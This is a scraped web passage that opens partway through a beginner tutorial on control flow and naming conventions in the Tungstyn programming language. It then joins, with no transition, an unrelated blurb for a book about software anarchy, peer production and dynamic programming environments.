	[&lt; $x 10] &quot;x is between 3 and 9&quot;
	&quot;x is greater than 9&quot;
];
</code></pre>
<p lang="en" dir="ltr">which does the same thing, but with less repitition.</p>
<h3>While</h3>
<p lang="en" dir="ltr"><code>while</code> continually executes a block while a condition is active.</p>
<pre><code>let! $x 0;
while [&lt; $x 10] [
	set! $x [+ $x 1];
	echoln $x;
]
</code></pre>
<p lang="en" dir="ltr">will echo the following:</p>
<pre><code>1
2
3
4
5
6
7
8
9
10
</code></pre>
<h3>For</h3>
<p lang="en" dir="ltr"><code>for</code> iterates over a collection (such as a <code>map</code> or a <code>list</code>). You can optionally keep track of the index of the value.</p>
<pre><code>for $x [list 1 2 3] [
	echoln $x
]
</code></pre>
<p lang="es" dir="ltr">echoes</p>
<pre><code>1
2
3
</code></pre>
<p lang="en" dir="ltr">If you want to iterate from a start value to an end value, use the <code>range</code> command to construct a list containing all values you wish to iterate over.</p>
<pre><code># prints all numbers between 0 1 2 3 ... 9
for $x [range 0 10] [
	echoln $x
];
# you can also leave out the start in range if it's 0
# does the same thing
for $x [range 10] [
	echoln $x;
];
set! $l [list 1 2 3];
# keep track of index each time
for $i $x $l [
	$l:set! $i [+ $x 1];
];
# you can iterate over maps, too.
let $m [map
	a 2
	b 3
	some-key 20
];
# a = 2
# b = 3
# etc.
# (possibly not in that order)
for $key $value $m [
	echoln $key = $value;
];
</code></pre>
<p lang="en" dir="ltr">As for control constructs, that's about it.</p>
<h2>Conventions</h2>
<p lang="en" dir="ltr">What follows aren't hard language rules; rather just some conventions about naming. You don't have to follow these rules; you should write code whichever way makes the most sense to you. But these are the rules used in the standard library, so they're worth remembering.</p>
<h3>Naming</h3>
<p lang="en" dir="ltr">The names of commands and variables in the standard library use <code>lisp-case</code>. You may also have noticed the presence of an exclamation mark (<code>!</code>) at the end of the names of some commands. This is appended to any command that modifies <em>state</em>, whether that be the state of a passed-in value (such as <code>list:set!</code> or <code>string:slice!</code>) or the state of the interpreting context (like <code>let!</code> or <code>set!</code>). In the other documentation files, you'll notice that the mutable (the one with <code>!</code>) and immutable (the one without <code>!</code>) versions of the same command will be listed next to eachother. Typically, the immutable version will create a <em>copy</em> of the data structure, and then modify that, while the mutable version will directly modify the existing structure.</p>
<h3>File extension</h3>
<p lang="en" dir="ltr">For reasons explained in the readme, the file extension for Tungstyn code should be <code>.w</code>.</p>
<h2>Conclusion</h2>
<p lang="en" dir="ltr">That's the end of the introduction. Hopefully you should be able to write some Tungstyn code now. If you want to, you can view the other files within this folder, which contain more information on the currently existing commands. You could also check under the <code>examples/</code> directory, which shows some examples of Tungstyn code.</p>

          <content type="html"><![CDATA[<p lang="en" dir="ltr">This book covers our interpretations of programming as it relates to
social ecology, a philosophical theory that suggests many forms of
dominion have the same causes and methods, and peer production,
a self-organising mode of production, and how their application can
support a radical programmer exceptionally well.</p>
<p lang="en" dir="ltr">A liberatory technology provides an improvement in the work which
can be done with some amount of effort and time. A community
which utilises such a technology well can perform much more work
independently. We believe a liberatory technology for programmers
takes the form of a dynamic environment, which is a property of some
programming languages and implementations that allows for many
forms of modification and inspection at any time while a program is
running.</p>
<p lang="en" dir="ltr">We will also investigate the supposed disadvantages of a decen-
tralised development strategy, and how they may instead be used to
the advantage of a community. We also will present why it is desirable
to distribute source materials, especially in software development, and
how shunning distributing source materials as anti-capitalist “praxis”
is nonsensical. Finally, we will discuss what an anti-hierarchical view
of some communication networks can bring to light; especially with
community moderation systems, the property relationships a user con-
jures with their environment, and how to remove as many constraints
on the means of communication and presentation as possible.</p>
<p lang="en" dir="ltr">We hold the belief that software peer production while rejecting the
potential of dynamic environments is, at best, incoherent, and that a
user of dynamic environments outside peer production may well have
problems applying the environment as much as they could have. We
try to achieve a few aims with this book: to introduce the reader to an
idea of software anarchy, to investigate some common opposition to
it, and to provide a wide selection of resources that a reader (whom
can produce enough free time) can read to help develop their own
approaches.</p>
